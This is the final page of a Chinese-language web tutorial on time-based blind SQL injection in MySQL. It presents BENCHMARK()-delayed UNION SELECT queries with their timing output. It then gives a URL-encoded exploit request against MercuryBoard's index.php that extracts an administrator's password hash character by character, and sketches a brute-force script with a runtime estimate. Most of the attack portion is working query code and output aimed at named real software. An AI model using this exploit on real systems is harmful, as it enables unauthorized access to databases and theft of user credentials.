WEB开发网
开发学院数据库MySQL MySQL数据库盲注技术 阅读

MySQL数据库盲注技术

 2008-10-04 11:10:42 来源:WEB开发网   
核心提示: 执行(当然假如你可以SELECT你就可以执行BENCHMARK()函数),|---|传递一个错误的数字 |---| (CHAR(52) is equal to '4')mysql> Select active_id FROM mb_active UNION SELEC

执行(当然假如你可以SELECT你就可以执行BENCHMARK()函数)。

|---|传递一个错误的数字 |---| (CHAR(52) is equal to '4')

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (0.00 sec)

在前面的例子中BENCHMARK()函数没有被执行((耗时

0.00 sec). )

|---| 传递相匹配内容|---| (BENCHMARK() 被执行)

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+

2 rows in set (5.36 sec)

在前面的例子里BENCHMARK()函数延迟查询5.36s。

对GET req修补

为能成功注射SQL指令我们不得不清除任何单个回显的request.

|---| 清除回显|---|

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (4.65 sec)
mysql>

漏洞利用

首先我们必须登陆一个已注册的用户。

/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*

我们可以看到慢下2秒导致第一字节是CHAR(53), 5。

暴力破解

一个字母一个字母地重建内容是必须的,仅仅一个简单的perl脚本执行GET 请求并等待一个字节一个字节

的回答{..SUBSTRING(strn,[1,2,3..n],1)..},假如这个回应被延迟了7-10秒,我们有权利填充。暴力破解

可以得到MD5散列,32字节。

0 to 9 --> ASCII 48 to 57

a to z --> ASCII 97 to 122

最差的结果是36个请求,每个请求3秒加上延迟才是正确的字节,得到完整散列为((3*35)+10)*32= 3622 秒(1小时)

结论

Mysql可以被盲注。

上一页  1 2 3 

Tags:MySQL 数据库 技术

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接